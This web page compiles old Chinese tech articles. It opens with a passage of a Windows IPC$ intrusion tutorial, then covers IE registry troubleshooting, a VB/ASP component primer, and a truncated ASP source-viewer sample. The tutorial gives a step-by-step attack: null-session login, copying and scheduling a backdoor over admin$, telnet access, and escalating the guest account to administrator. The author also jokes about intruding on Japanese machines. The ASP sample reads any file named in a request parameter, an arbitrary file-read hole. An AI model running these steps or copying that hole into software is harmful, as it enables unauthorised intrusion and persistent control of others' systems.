五 ipc$连接失败的原因 以下5个原因是比较常见的: 1)你的系统不是NT或以上操作系统; 2)对方没有打开ipc$默认共享 3)对方未开启139或445端口(惑被防火墙屏蔽) 4)你的命令输入有误(比如缺少了空格等) 5)用户名或密码错误(空连接当然无所谓了) 另外,你也可以根据返回的错误号分析原因: 错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限; 错误号51,Windows 无法找到网络路径 : 网络有问题; 错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤); 错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; 错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。 错误号1326,未知的用户名或错误密码 : 原因很明显了; 错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况) 错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。 关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.
六 如何打开目标的IPC$(此段引自相关文章) 首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。
七 如何防范ipc$入侵 1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》) 首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)
2禁止默认共享 1)察看本地共享资源 运行-cmd-输入net share 2)删除共享(每次输入一个) net share ipc$ /delete net share admin$ /delete net share c$ /delete net share d$ /delete(如果有e,f,……可以继续删除) 3)停止server服务 net stop server /y (重新启动后server服务会重新开启) 4)修改注册表 运行-regedit server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。 pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。 如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。
3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务 控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用
4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师
5设置复杂密码,防止通过ipc$穷举密码
八 相关命令 1)建立空连接: net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)
2)建立非空连接: net use \\IP\ipc$ "用户名" /user:"密码" (同样有3个空格)
3)映射默认共享: net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推) 如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$
4)删除一个ipc$连接 net use \\IP\ipc$ /del
5)删除共享映射 net use c: /del 删除映射的c盘,其他盘类推 net use * /del 删除全部,会有提示要求按y确认
九 经典入侵模式 这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)
1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators" 这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。 2. C:\>copy srv.exe \\127.0.0.1\admin$ 先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。 3. C:\>net time \\127.0.0.1 查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。 4. C:\>at \\127.0.0.1 11:05 srv.exe 用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!) 5. C:\>net time \\127.0.0.1 再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。 6. C:\>telnet 127.0.0.1 99 这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。 虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了 7.C:\>copy ntlm.exe \\127.0.0.1\admin$ 用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。 8. C:\WINNT\system32>ntlm 输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!
9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组 10. C:\>net user guest /active:yes 将对方的Guest用户激活
11. C:\>net user guest 1234 将Guest的密码改为1234,或者你要设定的密码
12. C:\>net localgroup administrators guest /add 将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)
十 总结: 关于ipc入侵就说这么多了,觉得已经够详细了,如果有不准确的地方,希望能与大家讨论. 最后,希望大家不要随便入侵,我写这篇文章的目的是想解答大家的疑惑,并不是鼓励大家随便的入侵,如果你非想试一下,建议拿小日本的机子开练(什么?为什么?因为我讨厌日本,没别的)
切请注意所谓系统默认共享 ,诸如ipc$,c$,admin$等等都是为了远程管理之用。 其本身并不是所谓“漏洞”,利用了这些“漏洞”的入侵,其实都是利用了弱口令或者其他应用中的漏洞拿到了管理员权限的帐户,一旦拿到了管理员权限,即便没有这些默认共享同样可以入侵,不过是麻烦些罢了!
|
|
IE问题解决方法汇总
|
作者: zgyatou
1、网页乱码的排除。 有些朋友问我,上网时为什么在网页上经常出现乱码?其实这一问题有两种现象:一种是语言的选择不当引起的,比如说浏览繁体网页,或国外有些网站,电脑一时不能自动转换内码,而出现了乱码。消除这种情况,可单击浏览器上的“查看”/“编码”,选取你要显示的文字,则乱码取消。另一种是电脑缺少内码转换器,如是则安装上就好了。
2、上网时发生非法操作的排除。 上网时经常出现“非法操作”的提示,只有关闭重新打开才能消除。其原因和排除方法:一是可能是数据在传输过程中发生错误,当传过来的信息在内存中错误积累太多时便会影响正常浏览,只能重新调用或重启机器;二是清除硬盘缓存;三是升级浏览器版本;四是硬件兼容性差,可与商家提出更换的要求。
3、如何消除操作系统和浏览器在他人网站上显示。 浏览有些网站,它总能知道我采用的操作系统、浏览器、访问该站点的次数以及每次停留的时间,并且直接把这些内容显示在他的网站上,不知者弄得怪吓人的。消除办法:将Cookies文件夹的属性改为只读即可。
4、系统找不到网卡的故障原因及排除方法。 当网卡正确插到主板PCI或ISA插槽中后,系统无法找到该设备,也无法安装对应的驱动程序。在打开控制面板中的系统对象,选择设备管理器标签,单击刷新按钮,仍然没有发现新的设备。解决的办法:启动计算机,进入CMOS,选择其中的“BIOS FEATURES SETUP”一项,在“Report No FDD For Windows95"后的“Yes”改为“No”即可。
5、在“网上邻居”中看不到任何用户名称的故障排除。 在“网上邻居”中看不到任何用户的计算机,包括自己的计算机。一般情况下,这是网卡的安装和设置不正确造成的。通过选择“开始/设置/控制面板/系统/设备管理器”,在列表框中找到网卡后单击“属性”按钮,在出现的对话框中看网卡与系统中的其它设备有否发生冲突,如有冲突则在“网上邻居”中看不到任何计算机的名称。
6、IE默认首页被修改的故障排除。 IE浏览器上方的标题栏被改成“欢迎访问……网站”的样式,这是最常见的篡改手段,受害者众多。排除办法可通过修改注册表来解决: ①在Windows启动后,点击“开始”→“运行”菜单项,在“打开”栏中键入regedit,然后按“确定”键; ②展开注册表到 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main 下,在右半部分窗口中找到串值“Start Page”双击 ,将Start Page的键值改为“about:blank”即可; ③同理,展开注册表到 HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main 在右半部分窗口中找到串值“Start Page”,然后按②中所述方法处理。 ④退出注册表编辑器,重新启动计算机,一切OK了! 特殊例子:当IE的起始页变成了某些网址后,就算你通过选项设置修改好了,重启以后又会变成他们的网址啦,十分的难缠。其实他们是在你机器里加了一个自运行程序,它会在系统启动时将你的IE起始页设成他们的网站。 解决办法:运行注册表编辑器regedit.exe,然后依次展开 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run 主键,然后将其下的registry.exe子键删除,然后删除自运行程序c:\Program Files\registry.exe,最后从IE选项中重新设置起始页就好了。
7、恶意网页篡改IE的默认页的排除方法。 有些IE被改了起始页后,即使设置了“使用默认页”仍然无效,这是因为IE起始页的默认页也被篡改啦。具体说来就是以下注册表项被修改: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ Main\Default_Page_URL “Default_Page_URL”这个子键的键值即起始页的默认页。排除办法: 运行注册表编辑器,然后展开上述子键,将“Default_Page_UR”子键的键值中的那些篡改网站的网址改掉就好了,或者设置为IE的默认值。
8、IE浏览器缺省主页被修改的排除办法。 修改IE浏览器缺省主页,并且锁定设置项,禁止用户更改回来。主要是修改了注册表中IE设置的下面这些键值(DWORD值为1时为不可选): [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel] "Settings"=dword:1 [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel] "Links"=dword:1 [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel] "SecAddSites"=dword:1
排除办法:将上面这些DWORD值改为“0”即可恢复功能。
9、默认首页变灰色且按扭不可用的故障排除。 这是由于注册表HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Control Panel 下的DWORD值“homepage”的键值被修改的缘故。原来的键值为“0”,被修改为“1”(即为灰色不可选状态)。
排除办法:将“homepage”的键值改为“0”即可。
10、IE标题栏被修改的故障排除。 在系统默认状态下,是由应用程序本身来提供标题栏的信息,但也允许用户自行在上述注册表项目中填加信息,而一些恶意的网站正是利用了这一点来得逞的:它们将串值Window title下的键值改为其网站名或更多的广告信息,从而达到改变浏览者IE标题栏的目的。 具体说来受到更改的注册表项目为: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Window title HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window title 排除办法: ①在Windows启动后,点击“开始”→“运行”菜单项,在“打开”栏中键入regedit,然后按“确定”键; ②展开注册表到 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main 下,在右半部分窗口中找到串值“Window title” ,将该串值删除即可,或将Window title的键值改为“IE浏览器”等你喜欢的名字; ③同理,展开注册表到 HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main 然后按②中所述方法处理。 ④退出注册表编辑器,重新启动计算机,运行IE,你会发现困扰你的问题解决了!
11、IE右键菜单被修改的故障排除。 受到修改的注册表项目为: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt 下被新建了网页的广告信息,并由此在IE右键菜单中出现! 排除办法:打开注册标编辑器,找到 HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt 删除相关的广告条文即可,注意不要把下载软件FlashGet和Netants也删除掉啊,这两个可是“正常”的呀,除非你不想在IE的右键菜单中见到它们。
12、IE默认搜索引擎被修改的故障排除。 在IE浏览器的工具栏中有一个搜索引擎的工具按钮,可以实现网络搜索,被篡改后只要点击那个搜索工具按钮就会链接到那个篡改网站。出现这种现象的原因是以下注册表被修改: HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\CustomizeSearch HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\SearchAssistant 排除办法:运行注册表编辑器,依次展开上述子键,将“CustomizeSearch”和“SearchAssistant”的键值改为某个搜索引擎的网址即可。
13、排除上网自动弹出的广告信息。 我们每次上网,经常有网页广告信息弹出!让人很讨厌啊。
排除办法:打开注册表编辑器,找到 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon 这一个主键,然后在右边窗口中找到“LegalNoticeCaption”和“LegalNoticeText”这两个字符串,删除这两个字符串就可以解决问题了。
14、浏览网页注册表被禁用故障的排除。 上网时,注册表被禁用,这是由于注册表 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System下的DWORD值“DisableRegistryTools”被修改为“1”的缘故,将其键值恢复为“0”即可恢复注册表的使用。
解决办法:用记事本程序建立以REG为后缀名的文件,将下面这些内容复制在其中就可以了。 REGEDIT4 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] “DisableRegistryTools”=dword:00000000
15、查看““源文件”菜单被禁用故障的排除。 在IE窗口中点击“查看”→“源文件”,发现“源文件”菜单已经被禁用。这是恶意网页修改了注册表,具体的位置为: 在注册表 HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer 下建立子键“Restrictions”,然后在“Restrictions”下面建立两个DWORD值:“NoViewSource”和“NoBrowserContextMenu”,并为这两个DWORD值赋值为“1”。 在注册表 HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Restrictions 下,将两个DWORD值:“NoViewSource”和“NoBrowserContextMenu”的键值都改为了“1”。 通过上面这些键值的修改就达到了在IE中使鼠标右键失效,使“查看”菜单中的“源文件”被禁用的目的。要向你说明的是第2点中提到的注册表其实相当于第1点中提到的注册表的分支,修改第1点中所说的注册表键值,第2点中注册表键值随之改变。 排除办法:将以下内容另存为后缀名为reg的注册表文件,比方说unlock.reg,双击unlock.reg导入注册表,不用重启电脑,重新运行IE就会发现IE的功能恢复正常了。 REGEDIT4 [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions] “NoViewSource”=dword:00000000 "NoBrowserContextMenu"=dword:00000000 [HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Restrictions] “NoViewSource”=dword:00000000 “NoBrowserContextMenu”=dword:00000000 要特别注意的是,在你编制的注册表文件unlock.reg中,“REGEDIT4”一定要大写,并且它的后面一定要空一行,还有,“REGEDIT4”中的“4”和“T”之间一定不能有空格,否则将前功尽弃!许多朋友写注册表文件之所以不成功,就是因为没有注意到上面所说的内容,这回该注意点喽。请注意如果你是Win2000或WinXP用户,请将“REGEDIT4”改为Windows Registry Editor Version 5.00。 |
|
IE浏览器八大经典错误故障写真集
|
作者: AppleBBS
当你驾着心爱的IE在Internet上纵横驰骋时,突然桌面上弹出一个莫名其妙的警告提示框,紧接着所有IE窗口全部关闭;或无论如何点击链接,IE始终没有反应……这些故障让人心烦意乱,无可奈何。不过你也不用手足无措,今天我们就一起将IE常见错误揪出来,并彻底消灭! 1.发送错误报告 【故障现象】 在使用IE浏览网页的过程中,出现"Microsoft Internet Explorer遇到问题需要关闭……"的信息提示。此时,如果单击"发送错误报告"按钮,则会创建错误报告,单击"关闭"按钮之后会引起当前IE窗口关闭;如果单击"不发送"按钮,则会关闭所有IE窗口。
【故障点评】 这是IE为了解用户在使用中的错误而设计的一个小程序,不过我可不想当微软的"免费测试员",更何况每天它都会面对成千上万的报告,谁知道有没有在意我的报告问题呢? 【故障解决】 针对不同情况,可分别用以下方法关闭IE发送错误报告功能: ①对IE 5.x用户,执行"控制面板→添加或删除程序",在列表中选择"Internet Explorer Error Reporting"选项,然后单击"更改/删除"按钮,将其从系统中删除。 ②对Windows 9x/Me/NT/2000下的IE 6.0用户,则可打开"注册表编辑器",找[HKEY_LOCAL_MACHINE\Software \Microsoft\Internet Explorer\Main],在右侧窗格创建名为IEWatsonEnabled的DWORD双字节值,并将其赋值为0。 ③对Windows XP的IE 6.0用户,执行"控制面板→系统",切换到"高级"选项卡,单击"错误报告"按钮,选中"禁用错误报告"选项,并选中"但在发生严重错误时通知我",最后单击"确定"按钮。
2.IE发生内部错误,窗口被关闭 【故障现象】 在使用IE浏览一些网页时,出现错误提示对话框:"该程序执行了非法操作,即将关闭……",单击"确定"按钮后又弹出一个对话框,提示"发生内部错误……"。单击"确定"按钮后,所有打开的IE窗口都被关闭。 【故障点评】 该错误产生原因多种多样,内存资源占用过多、IE安全级别设置与浏览的网站不匹配、与其他软件发生冲突、浏览网站本身含有错误代码……这些情况都有可能,需要耐心加以解决。 【故障解决】 ①关闭过多的IE窗口。如果在运行需占大量内存的程序,建议IE窗口打开数不要超过5个。 ②降低IE安全级别。执行"工具→Internet选项"菜单,选择"安全"选项卡,单击"默认级别"按钮,拖动滑块降低默认的安全级别。
③将IE升级到最新版本。IE 6.0下载地址: http://download.sina.com.cn/cgi-bin/detail.cgi?s_id=6041 。IE 6.0 SP1下载地址: download.microsoft.com 。 可使用以IE为核心的浏览器,如MyIE2。它占用系统资源相对要少,而且当浏览器发生故障关闭时,下次启动它,会有"是否打开上次发生错误时的页面"的提示,尽可能地帮你挽回损失。下载地址: http://dl.pconline.com.cn/html/1/8/dlid=7998&dltypeid=1&pn=0&.html
3.出现运行错误 【故障现象】 用IE浏览网页时弹出"出现运行错误,是否纠正错误"对话框,单击"否"按钮后,可以继续上网浏览。 【故障点评】 可能是所浏览网站本身的问题,也可能是由于IE对某些脚本不支持。 【故障解决】 ①启动IE,执行"工具→Internet选项"菜单,选择"高级"选项卡,选中"禁止脚本调试"复选框,最后单击"确定"按钮即可。 ②将IE浏览器升级到最新版本。
4.IE窗口始终最小化的问题 【故障现象】 每次打开的新窗口都是最小化窗口,即便单击"最大化"按钮后,下次启动IE后新窗口仍旧是最小化的。 【故障点评】 IE具有"自动记忆功能",它能保存上一次关闭窗口后的状态参数,IE本身没有提供相关设置选项,不过可以借助修改注册表来实现。 【故障解决】
①打开"注册表编辑器",找到[HKEY_ CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Old WorkAreas],然后选中窗口右侧的"OldWorkAreaRects",将其删除。 ②同样在"注册表编辑器"中找到[HKEY_CURRENT_USER\Software \Microsoft\Internet Explorer\Main],选择窗口右侧的"Window_Placement",将其删除。 ③退出"注册表编辑器",重启电脑,然后打开IE,将其窗口最大化,并单击"往下还原"按钮将窗口还原,接着再次单击"最大化"按钮,最后关闭IE窗口。以后重新打开IE时,窗口就正常了!
5.IE无法打开新窗口 【故障现象】 在浏览网页过程中,单击超级链接无任何反应。 【故障点评】 多半是因为IE新建窗口模块被破坏所致。 【故障解决】 单击"开始→运行",依次运行"regsvr32 actxprxy.dll"和"regsvr32 shdocvw.dll"将这两个DLL文件注册,然后重启系统。如果还不行,则可以将mshtml.dll、urlmon.dll、msjava.dll、browseui.dll、oleaut32.dll、shell32.dll也注册一下。
6.脱机却无法浏览本机上的网页 【故障现象】 通过IE的"脱机浏览"功能,我们差不多能浏览所有已经下载到本地硬盘的网页内容,这对拨号上网的用户来说更是省钱的一大法宝。但有时,目标网页虽然在硬盘上,但是却提示"无法浏览"。 【故障点评】 这多半是由于你修改了系统时间,引起了IE历史记录的错乱。 【故障解决】
①可用直接在"临时文件夹"中搜索的方法来激活它。按下Win+F,在"包含文字"处输入部分记忆中的关键字,在"搜索"处按"浏览"按钮选择IE临时文件夹的地址,如"C:\WINDOWS\Temporary Internet Files",单击"开始查找",在结果列表里双击目标页打开。 ②可以尝试用腾讯的TE等浏览器来脱机浏览。
7.联网状态下,浏览器无法打开某些站点 【故障现象】 上网后,在浏览某些站点时遇到各种不同的连接错误。 【故障点评】 这种错误一般是由于网站发生故障或者你没有浏览权限所引起。 【故障解决】 针对不同的连接错误,IE会给出不同的错误信息提示,比较常见的有以下几个: ①提示信息:404 NOT FOUND这是最为常见的IE错误信息。主要是因为IE不能找到你所要求的网页文件,该文件可能根本不存在或者已经被转移到了其他地方。 ②提示信息:403 FORBIDDEN常见于需要注册的网站。一般情况下,可以通过在网上即时注册来解决该问题,但有一些完全"封闭"的网站还是不能访问的。 ③提示信息:500 SERVER ERROR通常由于所访问的网页程序设计错误或者数据库错误而引起,你只有等待对方网页纠正错误后再浏览了。 小渔收集了一个IE错误代码大全,大家在遇到IE错误提示信息,但是搞不清楚的时候,可以去这里查阅: http://www.cfan.com.cn/09net/19ie.htm 。
8.IE无法重新安装 【故障现象】 IE不能正常使用,在重装时却提示"发现系统中有该版本的IE"而拒绝安装;"添加或删除程序"中又没有卸载选项。 【故障点评】 重装"是解决IE故障的"终极大法",也是初级用户的法宝。 【故障解决】
①对IE 5.0的重装可按以下步骤进行:
第一步:打开"注册表编辑器",找到[HKEY_LOCAL_ MACHINE\Software\Microsoft\Internet Explorer],单击其下的Version Vector键。
第二步:在右侧窗格中双击IE子键,将原来的"5.0002"改为"4.0",单击"确定"后退出"注册表编辑器"。
第三步:重启后,就可以重装IE 5.0了。 ②IE 6.0的重装有两种方法:
方法1:打开"注册表编辑器",找到[HKEY_LOCAL_ MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}],将IsInstalled的DWORD值改为0就可以了。
方法2:放入Windows XP安装盘,在"开始→运行"窗口键入"rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 %windir%\Inf\ie.inf"。
|
|
動手寫個小元件(元件入門)
|
動手寫個小元件(元件入門)
主題
這篇文章主要是為想將自己的ASP水平提高的人寫的! 把ASP代碼變成元件,開發者不僅是加快了ASP的速度,而且也能保護自己的代碼.這篇文章寫出來,也是為了給想開發元件網友上一堂入門課! 下面,我們會來編寫一個非常簡單的元件,重點是知道怎樣開發DLL元件,而不是其複雜的代碼!這些都要靠你們自己以後的努力了.
服務器端元件
首先,服務器端的元件要有別於客戶端的元件.客戶端的元件是通過網絡傳輸,依靠HTML來起作用.而且只能在IE上有用.但是服務器端的元件是運行在服務器端,它在服務器上執行各種操作.因此,所有的瀏覽器都能享用,它依靠的是服務器而不是瀏覽器.
當IIS被請求執行一個ASP程序,它首先會在ASP文件中找到 〈% %>標籤之間的代碼,並且執行它(也可以是〈script runat=server>〈/script>之間的代碼).如果這個ASP程序在先前被調用過,那麼它就會用記憶體中的編譯過的程序來嚮用戶返回HTML代碼,如果沒有,那麼它就重新編譯.這裡ASP就比CGI多一點速度優勢,因為CGI是每一個請求都使用一個執行緒.這樣就大大消耗了服務器的資源.
想不想你寫的程序自己就能在IIS運行!?!現在你就行了!使用VB5(當然現在是VB6了),你就能建立Dynamic Linked Libraries (DLL 文件),它能在IIS上直接運行(如果有asp文件來請求的話).
系統和軟件的要求
你需要一個32位的操作系統來運行ASP.當然你也得安裝IIS或PWS.我們下面的程序是在windows95+PWS+VB5的環境下開發的.
我們開始吧
啟動你的VB,選擇ActiveX圖標.這個圖標可以在新建工程找到!VB會提供一個內定的工程名(project1)和類名(class1).我們會將這兩個名字都改掉.在改名之前,請首先確認我們擁有Microsoft Active Server Pages Object Library,它在我們的程序非常有用.從菜單中選擇"工程",然後在其中選擇"引用",就會出現"引用"窗口 從中選擇Microsoft Active Server Pages Object Library.
給工程和類命名
現在我們來根據自己的愛好來為project1和class1來命名吧!給它們命名也是很重要的,我們以後會用這個工程名和類名來創建這個元件的實例!後面詳細介紹.
如何改名,我就不想多說了! 我們的工程名改為Exmaple,類名為Helloword
怎樣使用工程和類
現在我們有了我們自己的工程(Example1)和類名(HelloWorld).以後我們就會在ASP代碼中使用它們的名字來引用這個元件.在ASP中我們就這樣引用,如下:
Set ObjReference = Server.CreateObject("ProjectName.ClassName")
對於我們工程的引用就是: Set ObjReference = Server.CreateObject("Example1.HelloWorld") 現在我們就能用ObjReference來調用我們在元件中所創建的函數,子程序.下面我們會來寫一個SayHello的子程序, 我們執行它的代碼如下:
〈% Set ObjReference = Server.CreateObject("Example1.HelloWorld") ObjReference.SayHello %>
為了在Helloword類中使用ASP的方法,你必須在此類中寫一個OnStartPage 子函數.如下:
Public Sub OnStartPage(PassedScriptingContext As ScriptingContext) Set MyScriptingContext = PassedScriptingContext End Sub
現在,無論什麼時候用戶訪問一個帶有本元件的ASP文件,IIS就會把ScriptingContext傳送給我們的對象請我們使用.這個ScriptingContext包括了全部的ASP方法和屬性.實現上,這使得我們有能力訪問所有ASP的對象.看下面的代碼:
Public Sub OnStartPage(PassedScriptingContext As ScriptingContext) Set MyScriptingContext = PassedScriptingContext Set MyApplication = MyScriptingContext.Application Set MyRequest = MyScriptingContext.Request Set MyResponse = MyScriptingContext.Response Set MyServer = MyScriptingContext.Server Set MySession = MyScriptingContext.Session End Sub
以後我們就能用在VB中用MyApplication 來代替ASP中的Application,同理可以代替Request,Server.....,不過我們來是要在 OnStartPage之前來申明這些變數:
Private MyScriptingContext As ScriptingContext Private MyApplication As Application Private MyRequest As Request Private MyResponse As Response Private MyServer As Server Private MySession As Session
使用ASP的對象 我們的變數現在就能像標準的ASP對象來使用了!比如,我們經常在ASP中用Request.form()來收集提交表單的數據.現在我們在我們的VB中實現這個功能,代碼如下:
用ASP中實現: 〈% MyTempVariable = Request.Form("userName") Response.Write ("you entered "& MyTempVariable & "as your user name") %>
在VB中實現:
MyTempVariable = MyRequest.Form("userName") MyResponse.Write ("you entered "& MyTempVariable & "as your user name")
通過使用MyResponse來代替Response,我們能夠使用所有Response的方法,當然,MyResponse這個名字可以隨便來取,你甚至可以就取Response. 另一件我們得注意的是,我們得在我們的建立的類中,寫上OnEndPage子函數,這個OnStartPage是相反的!OnStartPage是創建對象,OnEndPage是消毀對象.
Public Sub OnEndPage() Set MyScriptingContext = Nothing Set MyApplication = Nothing Set MyRequest = Nothing Set MyResponse = Nothing Set MyServer = Nothing Set MySession = Nothing End Sub
SayHello方法 我們來建立一個子函數,用於顯示"Holle World".這個SayHello方法只是HelloWorld這個類中一個子函數,我們以後會在ASP中用以下的顯示這個方法
〈% Set ObjReference = Server.CreateObject("Example1.HelloWorld") ObjReference.SayHello %>
SayHello的程序,很簡單的!
Public Sub SayHello() MyResponse.Write ("Hello World") End Sub
現在一個小型的元件編寫完成,剩下的工作就是編譯這個元件,在"工程"菜單中保存它,取什麼名字都可以,我們用Exmaple1.vbp吧! 然後就用在菜單中選擇"make exmaple1.dll",將其編譯成DLL文件.一個元件就真正完成了!
注意,編譯了此元件那麼你就得先把你的PWS關掉,然後再編譯此元件.否則VB就會告訴你些元件在使用中.
在ASP中使用我們的自己的元件.
當你更正了在編譯中的錯誤,成功地編譯了example1這個工程,現在你就得拿出你最喜歡的HTML編輯器來寫下下面的語句,保存為ASP文件.
〈HTML> 〈HEAD> 〈TITLE>Example 1〈/TITLE> 〈/HEAD>
〈BODY>
〈% Set ObjReference = Server.CreateObject("Example1.HelloWorld") ObjReference.SayHello %>
〈/BODY> 〈/HTML>
運行後即可看到結果:
Hello World
註冊元件
如果你想和你的朋友,鄰居分享你的元件,那麼你就得在你的系統上註冊你的元件.我們一般使用Regsvr32.exe來註冊元件.註冊後你的元件會出現在Win95/Win98的windows/system目錄中.下面是一個註冊的例子:
Regsvr32.exe C:/wwwroot/Example1/Example1.dll
|
|
加亮显示ASP文章原代码(转) 
|
加亮显示ASP文章原代码 加入时间:2000年10月29日 来源网站:中华技术网 <%@ LANGUAGE="VBSCRIPT" %> <% Option Explicit %> <% 'File: CodeBrws.asp 'Overview: This formats and writes the text of the selected page for ' the View Script Button 'This file is provided as part of the Microsoft Visual Studio 6.0 Samples
'THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT 'WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, 'INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES 'OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR 'PURPOSE.
'Copyright (C) 1997, 1998 Microsoft Corporation, All rights reserved %> <html>
<head> <meta NAME="DESCRIPTION" CONTENT="ASP Source code browser"> <meta NAME="GENERATOR" CONTENT="Microsoft FrontPage 3.0"> <meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso8859-1"> <title></title> </head>
<body BGCOLOR="#FFFFFF" TOPMARGIN="0" LEFTMARGIN="0" ALINK="#23238E" VLINK="#808080" LINK="#FFCC00"> <basefont FACE="VERDANA, ARIAL, HELVETICA" SIZE="2"><!--- DISPLAY THE COLOR LEGEND --->
<table BORDER="1"> <tr> <td WIDTH="25" BGCOLOR="#FF0000"> </td> <td><font FACE="VERDANA, ARIAL, HELVETICA" SIZE="2">ASP Script</font> </td> </tr> <tr> <td BGCOLOR="#0000FF"> </td> <td><font FACE="VERDANA, ARIAL, HELVETICA" SIZE="2">Comments</font> </td> </tr> <tr> <td BGCOLOR="#000000"> </td> <td><font FACE="VERDANA, ARIAL, HELVETICA" SIZE="2">HTML and Text</font> </td> </tr> </table>
<hr> <font FACE="VERDANA, ARIAL, HELVETICA" SIZE="2"><% OutputSource %> </font> </body> </html> <% Sub OutputSource Dim strVirtualPath, strFilename strVirtualPath = Request("Source") strFilename = Server.MapPath(strVirtualPath)
Dim FileObject, oInStream, strOutput 'Creates a file object to hold the text of the selected page Set FileObject = CreateObject("Scripting.FileSystemObject") Set oInStream = FileObject.OpenTextFile(strFilename, 1, 0, 0) 'Loop that writes each line of text in the file according to 'the PrintLine function below While NOT oInStream.AtEndOfStream strOutput = oInStream.ReadLine Call PrintLine(strOutput, fCheckLine(strOutput)) Response.Write "<BR>" Wend End Sub
